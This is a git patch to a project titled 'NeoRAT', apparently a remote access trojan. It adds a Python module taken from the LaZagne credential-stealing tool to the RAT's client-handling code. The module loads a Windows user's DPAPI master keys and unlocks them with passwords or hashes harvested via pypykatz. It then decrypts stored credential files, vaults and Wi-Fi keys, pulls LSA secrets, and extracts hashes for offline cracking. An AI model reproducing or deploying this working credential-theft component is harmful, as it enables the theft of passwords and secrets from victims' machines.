From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/config/dpapi_structure.py | 186 +++++++++++++++++++++ 1 file changed, 186 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/dpapi_structure.py (limited to 'foreign/client_handling/lazagne/config/dpapi_structure.py') diff --git a/foreign/client_handling/lazagne/config/dpapi_structure.py b/foreign/client_handling/lazagne/config/dpapi_structure.py new file mode 100644 index 0000000..7d6080b --- /dev/null +++ b/foreign/client_handling/lazagne/config/dpapi_structure.py @@ -0,0 +1,186 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +import codecs +import os + +from foreign.client_handling.lazagne.config.DPAPI.masterkey import MasterKeyPool +from foreign.client_handling.lazagne.config.DPAPI.credfile import CredFile +from foreign.client_handling.lazagne.config.DPAPI.vault import Vault +from foreign.client_handling.lazagne.config.DPAPI.blob import DPAPIBlob +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets + + +def are_masterkeys_retrieved(): + """ + Before running modules using DPAPI, we have to retrieve masterkeys + otherwise, we do not realize these checks + """ + current_user = constant.username + if constant.pypykatz_result.get(current_user, None): + password = constant.pypykatz_result[current_user].get('Password', None) + pwdhash = constant.pypykatz_result[current_user].get('Shahash', None) + + # Create one DPAPI object by user + constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash) + + if not constant.user_dpapi or not constant.user_dpapi.unlocked: + # constant.user_password represents the password entered manually by the user + constant.user_dpapi = UserDpapi(password=constant.user_password) + + # Add username to check username equals passwords + constant.user_dpapi.check_credentials([constant.username] + constant.password_found) + + # Return True if at least one masterkey has been decrypted + return constant.user_dpapi.unlocked + + +def manage_response(ok, msg): + if ok: + return msg + else: + print_debug('DEBUG', u'{msg}'.format(msg=msg)) + return False + + +class UserDpapi(object): + """ + User class for DPAPI functions + """ + + def __init__(self, password=None, pwdhash=None): + self.sid = None + self.umkp = None + self.unlocked = False + + protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect') + credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST') + + if os.path.exists(protect_folder): + for folder in os.listdir(protect_folder): + if folder.startswith('S-'): + self.sid = folder + break + + if self.sid: + masterkeydir = os.path.join(protect_folder, self.sid) + if os.path.exists(masterkeydir): + self.umkp = MasterKeyPool() + self.umkp.load_directory(masterkeydir) + self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file) + + if password: + for ok, r in self.umkp.try_credential(sid=self.sid, password=password): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + elif pwdhash: + for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + def check_credentials(self, passwords): + if self.umkp: + for password in passwords: + for ok, r in self.umkp.try_credential(sid=self.sid, password=password): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + def decrypt_blob(self, dpapi_blob): + """ + Decrypt DPAPI Blob + """ + if self.umkp: + blob = DPAPIBlob(dpapi_blob) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp) + return manage_response(ok, msg) + + def decrypt_cred(self, credfile): + """ + Decrypt Credential Files + """ + if self.umkp: + with open(credfile, 'rb') as f: + c = CredFile(f.read()) + ok, msg = c.decrypt(self.umkp, credfile) + return manage_response(ok, msg) + + def decrypt_vault(self, vaults_dir): + """ + Decrypt Vault Files + """ + if self.umkp: + v = Vault(vaults_dir=vaults_dir) + ok, msg = v.decrypt(mkp=self.umkp) + return manage_response(ok, msg) + + def decrypt_encrypted_blob(self, ciphered, entropy_hex=False): + """ + Decrypt encrypted blob + """ + if self.umkp: + blob = DPAPIBlob(ciphered) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex) + return manage_response(ok, msg) + + def get_dpapi_hash(self, context='local'): + """ + Retrieve DPAPI hash to bruteforce it using john or hashcat. + """ + if self.umkp: + return self.umkp.get_dpapi_hash(sid=self.sid, context=context) + + def get_cleartext_password(self): + """ + Retrieve cleartext password associated to the preferred user maskterkey. + This password should represent the windows user password. + """ + if self.umkp: + return self.umkp.get_cleartext_password() + + +class SystemDpapi(object): + """ + System class for DPAPI functions + Need to have high privilege + """ + + def __init__(self): + self.smkp = None + self.unlocked = False + + if not constant.lsa_secrets: + # Retrieve LSA secrets + LSASecrets().run() + + if constant.lsa_secrets: + masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User' + if os.path.exists(masterkeydir): + self.smkp = MasterKeyPool() + self.smkp.load_directory(masterkeydir) + self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM']) + for ok, r in self.smkp.try_system_credential(): + if ok: + print_debug('OK', r) + self.unlocked = True + else: + print_debug('ERROR', r) + + def decrypt_wifi_blob(self, key_material): + """ + Decrypt wifi password + """ + if self.smkp: + blob = DPAPIBlob(key_material.decode('hex')) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp) + return manage_response(ok, msg) -- cgit v1.2.3